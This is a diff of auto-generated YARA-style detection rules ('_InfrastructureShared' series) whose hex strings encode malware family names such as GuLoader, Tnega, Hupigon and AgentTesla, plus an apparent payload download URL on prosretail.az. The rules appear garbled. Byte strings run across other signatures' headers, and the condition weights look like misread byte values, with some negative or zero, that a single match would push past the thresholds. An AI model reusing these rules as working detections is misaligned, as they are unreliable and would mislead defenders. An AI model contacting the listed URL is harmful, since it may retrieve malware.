00 00 0f 00 0f 00 0b 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 48 75 70 69 67 6f 6e 2e 67 65 6e 21 41 00 05 00 0a 00 67 65 74 6b 65 79 2e 64 6c 6c 01 00 0e 00 43 61 6c 6c 4e 65 78 74 48 6f 6f 6b 45 78 01 00 18 00 49 6d 6d 47 65 74 43 6f 6d 70 6f 73 69 74 69 6f 6e } //25193 + $a_00_8 = {2e 00 77 00 61 00 76 00 01 00 05 01 4b 78 70 77 68 01 00 0a 01 4b 69 6a 6f 67 72 65 69 6f 6a 01 00 0b 01 4b 69 6a 70 67 72 65 69 6a 72 67 01 00 0a 01 45 68 6a 66 65 41 73 79 6e 63 00 00 78 fa 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 } //121 + $a_2e_9 = {54 41 21 4d 54 42 00 01 00 19 81 01 5c 73 75 62 74 69 6c 69 73 65 64 5c 65 73 71 75 69 6c 69 6e 65 2e 69 6e 69 01 00 1d 81 01 5c 69 6e 74 65 72 72 75 70 74 6f 72 79 5c 64 72 69 66 74 73 63 68 65 66 73 2e 7a 69 70 01 00 0c 81 01 43 72 65 62 72 6f 75 73 2e 69 6e 69 01 00 0e 81 01 51 75 6f 74 65 6e 6e 69 61 6c 2e 74 78 74 01 00 0d 81 01 65 6c } //25956 + $a_6f_10 = {65 72 2e 74 78 74 01 00 0f 81 01 5c 6d 6f 6e 6f 75 72 65 69 64 65 2e 62 69 6e 01 00 1a 81 01 5c 62 6c 72 65 73 6c 65 6e 73 5c 61 73 73 69 6d 69 6c 65 72 65 74 2e 7a 69 70 01 00 1f 81 01 5c 62 72 75 67 65 72 64 69 73 63 69 70 6c 69 6e 65 6e 5c 61 6b 74 75 61 72 65 6e 2e 74 78 74 00 00 78 fa 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 } //29537 + $a_75_11 = {6f 61 64 65 72 2e 4c 51 53 30 31 21 4d 54 42 00 01 00 1a 81 01 75 64 62 72 65 64 65 6c 73 65 73 6f 6d 72 61 61 64 65 72 6e 65 73 2e 69 6e 69 01 00 0f 81 01 76 65 72 69 73 69 6d 69 6c 61 72 2e 76 6f 72 01 00 0d 81 } //12082 condition: - ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*17481+(#a_63_2 & 1)*28525+(#a_61_3 & 1)*25701+(#a_74_4 & 1)*20084+(#a_3c_5 & 1)*5202+(#a_00_6 & 1)*58+(#a_00_8 & 1)*121+(#a_2e_9 & 1)*27763+(#a_72_10 & 1)*1+(#a_74_11 & 1)*25193) >=6 + ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*17481+(#a_63_2 & 1)*28525+(#a_61_3 & 1)*25701+(#a_74_4 & 1)*20084+(#a_3c_5 & 1)*5202+(#a_00_6 & 1)*58+(#a_00_8 & 1)*121+(#a_2e_9 & 1)*25956+(#a_6f_10 & 1)*29537+(#a_75_11 & 1)*12082) >=6 } -rule _InfrastructureShared_15946{ +rule _InfrastructureShared_16993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -186362,27 +198825,60 @@ rule _InfrastructureShared_15946{ $a_ee_2 = {7f 08 6c 9a 52 03 00 20 00 f2 d0 75 a3 0a 93 18 14 d1 ad 65 23 db a9 c1 f1 9d d2 1d 57 b4 fa 6e 9a 0d a9 6f 99 14 cf c3 b1 00 00 78 fa 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 6e 65 67 } //396 $a_50_3 = {31 30 37 32 33 21 4d 54 42 00 01 00 24 00 52 00 6f 00 66 00 66 00 6d 00 6d 00 63 00 6a 00 74 00 74 00 2e 00 46 00 6d 00 61 00 6d 00 6b 00 69 00 70 00 01 00 12 00 51 00 79 00 6b 00 6a 00 70 00 6c 00 6c 00 66 00 6f 00 01 00 4c 00 68 00 74 00 74 00 } //11873 $a_00_4 = {2f 00 2f 00 70 00 72 00 6f 00 73 00 72 00 65 00 74 00 61 00 69 00 6c 00 2e 00 61 00 7a 00 2f 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 2f 00 4a 00 78 00 67 00 6f 00 79 00 61 00 } //112 //prosretail.az/option/Jxgoya - $a_00_5 = {61 00 76 00 01 00 05 01 4b 78 70 77 68 01 00 0a 01 4b 69 6a 6f 67 72 65 69 6f 6a 01 00 0b 01 4b 69 6a 70 67 72 65 69 6a 72 67 01 00 0a 01 45 68 6a 66 65 41 73 79 6e 63 00 00 78 fa 00 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 44 4b 56 21 4d 54 42 00 01 00 24 03 08 09 11 04 6f 90 01 03 0a 13 } //46 + $a_00_5 = {61 00 76 00 01 00 05 01 4b 78 70 77 68 01 00 0a 01 4b 69 6a 6f 67 72 65 69 6f 6a 01 00 0b 01 4b 69 6a 70 67 72 65 69 6a 72 67 01 00 0a 01 45 68 6a 66 65 41 73 79 6e 63 00 00 78 fa 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 41 21 4d 54 42 00 01 00 19 81 01 5c 73 75 62 74 69 6c 69 73 } //46 condition: ((#a_4c_0 & 1)*21539+(#a_50_1 & 1)*25934+(#a_ee_2 & 1)*396+(#a_50_3 & 1)*11873+(#a_00_4 & 1)*112+(#a_00_5 & 1)*46) >=7 } -rule _InfrastructureShared_15947{ +rule _InfrastructureShared_16994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 31 31 30 37 32 33 21 4d 54 42 00 01 00 24 00 52 00 6f 00 66 00 66 00 6d 00 6d 00 63 00 6a 00 74 00 74 00 2e 00 46 00 6d 00 61 00 6d 00 6b 00 69 00 70 00 01 } //18467 $a_00_2 = {6a 00 70 00 6c 00 6c 00 66 00 6f 00 01 00 4c 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 70 00 72 00 6f 00 73 00 72 00 65 00 74 00 61 00 69 00 6c 00 2e 00 61 00 7a 00 2f 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 2f 00 4a 00 78 00 67 00 6f 00 79 00 61 00 2e 00 77 00 61 00 76 00 01 00 05 01 4b 78 70 77 68 01 00 0a 01 4b 69 } //121 - $a_72_3 = {69 6f 6a 01 00 0b 01 4b 69 6a 70 67 72 65 69 6a 72 67 01 00 0a 01 45 68 6a 66 65 41 73 79 6e 63 00 00 78 fa 00 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 44 4b 56 21 4d 54 42 00 01 00 24 03 08 09 11 04 6f 90 01 03 0a 13 05 08 09 11 04 28 90 01 } //28522 - $a_06_4 = {07 06 02 11 06 28 90 01 03 06 d2 9c 90 00 01 00 09 01 00 } //1539 - $a_69_5 = {33 32 00 01 00 0a 01 00 47 65 74 54 79 70 65 73 00 01 00 10 01 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 00 01 00 0b 01 00 54 72 69 6d 53 74 61 72 74 00 01 00 0a 01 00 47 65 74 50 69 78 65 6c 00 01 00 11 01 00 43 6f 6c 6f 72 54 72 61 6e 73 6c 61 74 6f 72 00 } //28500 - $a_01_6 = {00 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 00 } //1 + $a_72_3 = {69 6f 6a 01 00 0b 01 4b 69 6a 70 67 72 65 69 6a 72 67 01 00 0a 01 45 68 6a 66 65 41 73 79 6e 63 00 00 78 fa 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 41 21 4d 54 42 00 01 00 19 81 01 5c 73 75 62 74 69 6c 69 73 65 64 5c 65 73 71 75 69 } //28522 + $a_65_4 = {69 6e 69 01 00 1d 81 01 5c 69 6e 74 65 72 72 75 70 74 6f 72 79 5c 64 72 69 66 74 73 63 68 65 66 73 2e 7a 69 70 01 00 0c 81 01 43 72 65 62 72 6f 75 73 2e 69 6e 69 01 00 0e 81 01 51 75 6f 74 65 6e 6e 69 61 6c 2e 74 78 74 01 00 0d 81 01 65 6c 61 73 74 6f 6d 65 72 2e 74 78 74 01 00 0f 81 01 5c 6d 6f 6e 6f 75 72 65 69 64 65 2e 62 69 } //26988 + $a_6c_6 = {65 73 6c 65 6e 73 5c 61 73 73 69 6d 69 6c 65 72 65 74 2e 7a 69 70 01 00 1f 81 01 5c 62 72 75 67 65 72 64 69 73 63 69 70 6c 69 6e 65 6e 5c 61 6b 74 75 61 72 65 6e 2e 74 78 74 00 00 78 fa 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 53 30 31 21 } //23553 condition: - ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*121+(#a_72_3 & 1)*28522+(#a_06_4 & 1)*1539+(#a_69_5 & 1)*28500+(#a_01_6 & 1)*1) >=7 + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*121+(#a_72_3 & 1)*28522+(#a_65_4 & 1)*26988+(#a_6c_6 & 1)*23553) >=7 } -rule _InfrastructureShared_15948{ +rule _InfrastructureShared_16995{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 41 21 4d 54 42 00 01 00 19 81 01 5c 73 75 62 74 69 6c 69 73 65 64 5c 65 73 71 75 69 6c 69 6e 65 2e 69 6e 69 01 00 1d 81 01 5c 69 6e 74 65 72 72 75 70 74 6f 72 79 5c 64 72 69 } //18467 + $a_63_1 = {65 66 73 2e 7a 69 70 01 00 0c 81 01 43 72 65 62 72 6f 75 73 2e 69 6e 69 01 00 0e 81 01 51 75 6f 74 65 6e 6e 69 61 6c 2e 74 78 74 01 00 0d 81 01 65 6c 61 73 74 6f 6d 65 72 2e 74 78 74 01 00 0f 81 01 5c 6d 6f 6e 6f 75 72 65 69 64 65 2e 62 69 6e 01 00 1a 81 01 5c 62 6c 72 65 73 6c 65 6e 73 5c 61 73 73 69 6d 69 6c 65 72 65 74 2e 7a 69 70 01 00 1f } //29798 + $a_62_2 = {75 67 65 72 64 69 73 63 69 70 6c 69 6e 65 6e 5c 61 6b 74 75 61 72 65 6e 2e 74 78 74 00 00 78 fa 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 53 30 31 21 4d 54 42 00 01 00 1a 81 01 75 64 62 72 65 64 65 6c 73 65 73 6f 6d 72 61 } //385 + $a_72_3 = {65 73 2e 69 6e 69 01 00 0f 81 01 76 65 72 69 73 69 6d 69 6c 61 72 2e 76 6f 72 01 00 0d 81 01 64 6f 6d 69 6e 6f 65 72 73 2e 65 6d 69 01 00 12 81 01 70 6c 61 6e 6f 63 79 6c 69 6e 64 72 69 63 2e 6a 70 67 01 00 11 81 01 53 79 6e 6b 72 65 74 69 73 65 72 65 72 2e 68 65 6d 01 00 0e 81 01 61 75 64 69 76 69 73 } //25697 + $a_2e_4 = {70 67 01 00 22 81 01 6d 69 6c 69 65 75 62 65 73 6b 79 74 74 65 6c 73 65 73 6b 6f 6e 76 65 6e 74 69 6f 6e 65 72 2e 65 78 65 01 00 0d 81 01 50 69 62 65 73 70 69 64 73 2e 74 78 74 01 00 0f 81 01 62 6f 6d 62 6e 69 6e 67 65 6e 73 2e 69 6e 69 00 00 78 fa 00 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 } //28521 + $a_74_5 = {65 73 6c 61 2e 44 4b 56 21 4d 54 42 00 01 00 24 03 08 09 11 04 6f 90 01 03 0a 13 05 08 09 11 04 28 90 01 03 06 13 06 07 06 02 11 06 28 90 01 03 06 d2 9c 90 00 01 00 09 01 00 54 6f 57 69 6e 33 32 00 01 00 0a 01 00 47 65 74 54 79 70 65 73 00 01 00 10 01 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 00 01 00 0b 01 00 54 72 69 6d 53 } //25959 + $a_74_6 = {01 00 0a 01 00 47 65 74 50 69 78 65 6c 00 01 00 11 01 00 43 6f 6c 6f 72 54 72 61 6e 73 6c 61 74 6f 72 00 01 00 13 01 00 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 00 01 00 15 01 00 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 00 01 00 10 01 00 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 00 00 00 78 fa 00 00 0f 00 0f 00 0b } //24948 + $a_48_7 = {54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 48 75 70 69 67 6f 6e 2e 67 65 6e 21 41 00 05 00 0a 00 67 65 74 6b } //8448 + condition: + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29798+(#a_62_2 & 1)*385+(#a_72_3 & 1)*25697+(#a_2e_4 & 1)*28521+(#a_74_5 & 1)*25959+(#a_74_6 & 1)*24948+(#a_48_7 & 1)*8448) >=8 + +} +rule _InfrastructureShared_16996{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 53 30 31 21 4d 54 42 00 01 00 1a 81 01 75 64 62 72 65 64 65 6c 73 65 73 6f 6d 72 61 61 64 65 72 6e 65 73 2e 69 6e 69 01 00 0f 81 01 76 65 72 69 73 69 6d 69 6c 61 72 2e 76 6f 72 01 00 0d 81 01 64 } //18467 + $a_6e_1 = {65 72 73 2e 65 6d 69 01 00 12 81 01 70 6c 61 6e 6f 63 79 6c 69 6e 64 72 69 63 2e 6a 70 67 01 00 11 81 01 53 79 6e 6b 72 65 74 69 73 65 72 65 72 2e 68 65 6d 01 00 0e 81 01 61 75 64 69 76 69 73 69 6f 6e 2e 6a 70 67 01 00 22 81 01 6d 69 6c 69 65 75 62 65 73 6b 79 74 74 65 6c 73 65 73 6b 6f 6e 76 65 6e 74 69 6f 6e 65 } //28015 + $a_78_2 = {01 00 0d 81 01 50 69 62 65 73 70 69 64 73 2e 74 78 74 01 00 0f 81 01 62 6f 6d 62 6e 69 6e 67 65 6e 73 2e 69 6e 69 00 00 78 fa 00 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 44 4b 56 21 4d 54 42 00 01 00 24 03 08 09 11 04 6f 90 01 03 0a 13 } //11890 + $a_11_3 = {28 90 01 03 06 13 06 07 06 } //2053 + $a_28_4 = {01 03 06 d2 9c 90 } //4354 + $a_6f_6 = {69 6e 33 32 00 01 00 0a 01 00 47 65 74 54 79 70 65 73 00 01 00 10 01 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 00 01 00 0b 01 00 54 72 69 6d 53 74 61 72 74 00 01 00 0a 01 00 47 65 74 50 69 78 65 6c 00 01 00 11 01 00 43 6f 6c 6f 72 54 72 61 6e 73 6c } //1 + $a_72_7 = {01 00 13 01 00 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 00 01 00 15 01 00 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 00 01 00 10 01 00 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 00 00 00 78 fa 00 00 0f 00 0f 00 0b 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 48 75 70 69 67 6f 6e 2e 67 65 6e 21 41 00 } //29793 + $a_00_8 = {67 65 74 6b 65 79 2e 64 6c 6c } //5 getkey.dll + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28015+(#a_78_2 & 1)*11890+(#a_11_3 & 1)*2053+(#a_28_4 & 1)*4354+(#a_6f_6 & 1)*1+(#a_72_7 & 1)*29793+(#a_00_8 & 1)*5) >=9 + +} +rule _InfrastructureShared_16997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -186400,7 +198896,7 @@ rule _InfrastructureShared_15948{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28500+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_fa_5 & 1)*0+(#a_74_7 & 1)*18176+(#a_ee_8 & 1)*106+(#a_00_9 & 1)*108) >=10 } -rule _InfrastructureShared_15949{ +rule _InfrastructureShared_16998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0b 00 21 " @@ -186419,7 +198915,7 @@ rule _InfrastructureShared_15949{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*16743+(#a_75_2 & 1)*17664+(#a_30_3 & 1)*12336+(#a_46_4 & 1)*25939+(#a_00_5 & 1)*30967+(#a_f8_6 & 1)*-27392+(#a_28_7 & 1)*7940+(#a_58_8 & 1)*2304+(#a_75_10 & 1)*384) >=15 } -rule _InfrastructureShared_15950{ +rule _InfrastructureShared_16999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 11 00 21 " @@ -186444,7 +198940,7 @@ rule _InfrastructureShared_15950{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*15592+(#a_5b_3 & 1)*-26880+(#a_00_4 & 1)*32+(#a_2f_5 & 1)*18771+(#a_72_6 & 1)*29281+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_fa_11 & 1)*0+(#a_68_12 & 1)*26999+(#a_63_13 & 1)*27936+(#a_31_14 & 1)*-30463+(#a_90_15 & 1)*-32510+(#a_32_16 & 1)*16969) >=16 } -rule _InfrastructureShared_15951{ +rule _InfrastructureShared_17000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " @@ -186461,7 +198957,7 @@ rule _InfrastructureShared_15951{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*-32757+(#a_41_2 & 1)*24936+(#a_73_4 & 1)*20993+(#a_45_5 & 1)*17152+(#a_65_6 & 1)*29728+(#a_74_7 & 1)*12082+(#a_1b_8 & 1)*3464) >=18 } -rule _InfrastructureShared_15952{ +rule _InfrastructureShared_17001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 08 00 21 " @@ -186478,7 +198974,7 @@ rule _InfrastructureShared_15952{ ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*12343+(#a_69_2 & 1)*8292+(#a_6e_3 & 1)*22330+(#a_1b_4 & 1)*15798+(#a_5a_5 & 1)*12851+(#a_02_6 & 1)*-28595+(#a_90_7 & 1)*-30456) >=30 } -rule _InfrastructureShared_15953{ +rule _InfrastructureShared_17002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -186488,7 +198984,7 @@ rule _InfrastructureShared_15953{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15954{ +rule _InfrastructureShared_17003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -186498,7 +198994,7 @@ rule _InfrastructureShared_15954{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15955{ +rule _InfrastructureShared_17004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -186508,7 +199004,7 @@ rule _InfrastructureShared_15955{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15956{ +rule _InfrastructureShared_17005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -186518,7 +199014,7 @@ rule _InfrastructureShared_15956{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15957{ +rule _InfrastructureShared_17006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -186535,7 +199031,7 @@ rule _InfrastructureShared_15957{ ((#a_46_0 & 1)*16675+(#a_ec_1 & 1)*18435+(#a_49_3 & 1)*4608+(#a_48_4 & 1)*400+(#a_44_5 & 1)*-28528+(#a_15_6 & 1)*257+(#a_20_7 & 1)*11611+(#a_2d_8 & 1)*11565) >=1 } -rule _InfrastructureShared_15958{ +rule _InfrastructureShared_17007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -186545,7 +199041,7 @@ rule _InfrastructureShared_15958{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_15959{ +rule _InfrastructureShared_17008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -186558,7 +199054,7 @@ rule _InfrastructureShared_15959{ ((#a_4c_0 & 1)*21539+(#a_46_1 & 1)*23853+(#a_79_2 & 1)*28525+(#a_74_3 & 1)*8261) >=2 } -rule _InfrastructureShared_15960{ +rule _InfrastructureShared_17009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186569,7 +199065,7 @@ rule _InfrastructureShared_15960{ ((#a_46_0 & 1)*16675+(#a_17_2 & 1)*4359) >=3 } -rule _InfrastructureShared_15961{ +rule _InfrastructureShared_17010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186581,7 +199077,7 @@ rule _InfrastructureShared_15961{ ((#a_46_0 & 1)*16675+(#a_08_1 & 1)*-32765+(#a_00_2 & 1)*-17718) >=3 } -rule _InfrastructureShared_15962{ +rule _InfrastructureShared_17011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186591,7 +199087,7 @@ rule _InfrastructureShared_15962{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15963{ +rule _InfrastructureShared_17012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186601,7 +199097,7 @@ rule _InfrastructureShared_15963{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15964{ +rule _InfrastructureShared_17013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186611,7 +199107,7 @@ rule _InfrastructureShared_15964{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15965{ +rule _InfrastructureShared_17014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186623,7 +199119,7 @@ rule _InfrastructureShared_15965{ ((#a_46_0 & 1)*21283+(#a_24_1 & 1)*-29368+(#a_03_2 & 1)*1) >=3 } -rule _InfrastructureShared_15966{ +rule _InfrastructureShared_17015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -186635,7 +199131,7 @@ rule _InfrastructureShared_15966{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*41+(#a_00_3 & 1)*105) >=3 } -rule _InfrastructureShared_15967{ +rule _InfrastructureShared_17016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -186647,7 +199143,7 @@ rule _InfrastructureShared_15967{ ((#a_46_0 & 1)*21283+(#a_04_2 & 1)*-14639+(#a_01_3 & 1)*-28557) >=3 } -rule _InfrastructureShared_15968{ +rule _InfrastructureShared_17017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -186658,7 +199154,7 @@ rule _InfrastructureShared_15968{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*99) >=4 } -rule _InfrastructureShared_15969{ +rule _InfrastructureShared_17018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -186671,7 +199167,7 @@ rule _InfrastructureShared_15969{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*17423+(#a_21_2 & 1)*12367+(#a_04_3 & 1)*0) >=4 } -rule _InfrastructureShared_15970{ +rule _InfrastructureShared_17019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -186682,7 +199178,7 @@ rule _InfrastructureShared_15970{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=4 } -rule _InfrastructureShared_15971{ +rule _InfrastructureShared_17020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -186695,7 +199191,7 @@ rule _InfrastructureShared_15971{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_00_4 & 1)*97+(#a_0e_5 & 1)*257) >=4 } -rule _InfrastructureShared_15972{ +rule _InfrastructureShared_17021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -186709,7 +199205,7 @@ rule _InfrastructureShared_15972{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*31090+(#a_72_2 & 1)*28531+(#a_6a_3 & 1)*29268+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_15973{ +rule _InfrastructureShared_17022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -186723,7 +199219,7 @@ rule _InfrastructureShared_15973{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25972+(#a_00_3 & 1)*46+(#a_4d_4 & 1)*12592+(#a_00_5 & 1)*29554) >=6 } -rule _InfrastructureShared_15974{ +rule _InfrastructureShared_17023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -186738,7 +199234,7 @@ rule _InfrastructureShared_15974{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*26478+(#a_65_2 & 1)*29285+(#a_72_3 & 1)*22132+(#a_47_4 & 1)*-32757+(#a_46_5 & 1)*24930) >=6 } -rule _InfrastructureShared_15975{ +rule _InfrastructureShared_17024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -186753,7 +199249,7 @@ rule _InfrastructureShared_15975{ ((#a_46_0 & 1)*21283+(#a_72_1 & 1)*29806+(#a_6f_2 & 1)*29808+(#a_4f_3 & 1)*12851+(#a_58_4 & 1)*17486+(#a_01_5 & 1)*5888) >=6 } -rule _InfrastructureShared_15976{ +rule _InfrastructureShared_17025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -186770,7 +199266,7 @@ rule _InfrastructureShared_15976{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*17735+(#a_45_2 & 1)*17153+(#a_4b_3 & 1)*17484+(#a_23_4 & 1)*7+(#a_00_5 & 1)*21581+(#a_00_7 & 1)*2304+(#a_00_8 & 1)*109) >=6 } -rule _InfrastructureShared_15977{ +rule _InfrastructureShared_17026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -186785,7 +199281,7 @@ rule _InfrastructureShared_15977{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*289+(#a_65_3 & 1)*385+(#a_00_4 & 1)*101+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 } -rule _InfrastructureShared_15978{ +rule _InfrastructureShared_17027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -186801,7 +199297,7 @@ rule _InfrastructureShared_15978{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*12659+(#a_5c_2 & 1)*14135+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_fb_6 & 1)*0) >=7 } -rule _InfrastructureShared_15979{ +rule _InfrastructureShared_17028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -186815,23 +199311,40 @@ rule _InfrastructureShared_15979{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*26994+(#a_69_2 & 1)*25972+(#a_43_3 & 1)*17219+(#a_69_5 & 1)*21505) >=7 } -rule _InfrastructureShared_15980{ +rule _InfrastructureShared_17029{ meta: description = 